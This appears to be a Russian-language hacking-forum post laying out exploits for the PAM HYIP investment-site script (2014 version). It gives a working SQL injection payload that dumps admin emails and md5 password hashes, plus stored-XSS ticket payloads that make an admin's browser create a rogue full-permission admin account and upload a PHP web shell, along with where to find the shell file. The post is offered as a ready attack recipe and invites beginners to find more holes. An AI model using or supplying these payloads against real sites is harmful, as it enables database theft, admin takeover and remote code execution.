PAM HYIP
Сайт:http://www.pamhyip.com/
Версия:2014
Заливка шелла в админке (/admin/) Tools -> Banners. Таблица админов admin(колонки email, password). Алгоритм md5. Полностью дырявый скрипт, везде SQL-инъекции.
1. SQL-инъекция вgettogateway.php
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]...
[/COLOR][COLOR="#0000BB"]$gatewayid[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'gatewayid'[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]$select[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"select * from `gateway_settings` where `status`='1' and gateway_id != '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$gatewayid[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"' "[/COLOR][COLOR="#007700"]);
...
[/COLOR][/COLOR]
Пример:
Код:
http://hyip/gettogateway.php
POST: gatewayid=1' union select 1,concat_ws(0x3a,adminId,email,password),3,4,5,6,7 from admin-- t
2. XSS -> CSRF -> RCE
После регистрации (index.php?pg=register) и авторизации на сайте, можно отправлять тикеты (index.php?pg=ticket). Поле Message принимает все и без каких-либо изменений показывается в админ-панеле (admin/index.php?pg=tickets). Код выполнится, когда админ откроет наш тикет.
> Добавление нового админа
Создаем новый тикет, вписав в поле Message следующий код:
Код:
$(document).ready(function(){
$.ajax({
type:'POST',
url:'/admin/index.php?pg=subadminValid',
data: 'email=bbb%40aaa.aa&adminId=&password=123456&realname=aaaa&permission%5B%5D=Users&permission%5B%5D=Finance&permission%5B%5D=Reports&permission%5B%5D=Tools&permission%5B%5D=Support&permission%5B%5D=Settings&phoneno=12345652244&ipaddress=127.0.0.1&status=1&save=Submit',
});
});
Ключевыми являются параметры email, password и ipaddress. После открытия тикета создастся админ с юзернеймом
bbb@aaa.aa и паролем 123456.
> Заливка шелла
Создаем новый тикет, вписав в поле Message следующий код:
Код:
$(document).ready(function(){
$.ajax({
type:'POST',
url:'/admin/index.php?pg=headerbannervalid',
contentType: 'multipart/form-data; boundary=1234567890',
data: "--1234567890\r\nContent-Disposition: form-data; name=\"banner\"; filename=\"php.php\"\r\n\r\n\r\n--1234567890--",
});
});
Уязвимый код в
/admin/model/headimge.php:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]...
[/COLOR][COLOR="#0000BB"]$image[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]date[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Ymdhis'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'banner'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]move_uploaded_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'banner'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'tmp_name'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]'../content/headercontent/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$image[/COLOR][COLOR="#007700"]);
...
[/COLOR][/COLOR]
Файл сохранится как [YYYY][mm][dd](H)(i)(S)php.php. Например
20171201010149php.php.Это уже надо брутить. Файл будет записан по адресуhttp://hyip/content/headercontent/.
P.S. Там уязвимостей очень много, думаю будет интересно покопаться, особенно начинающим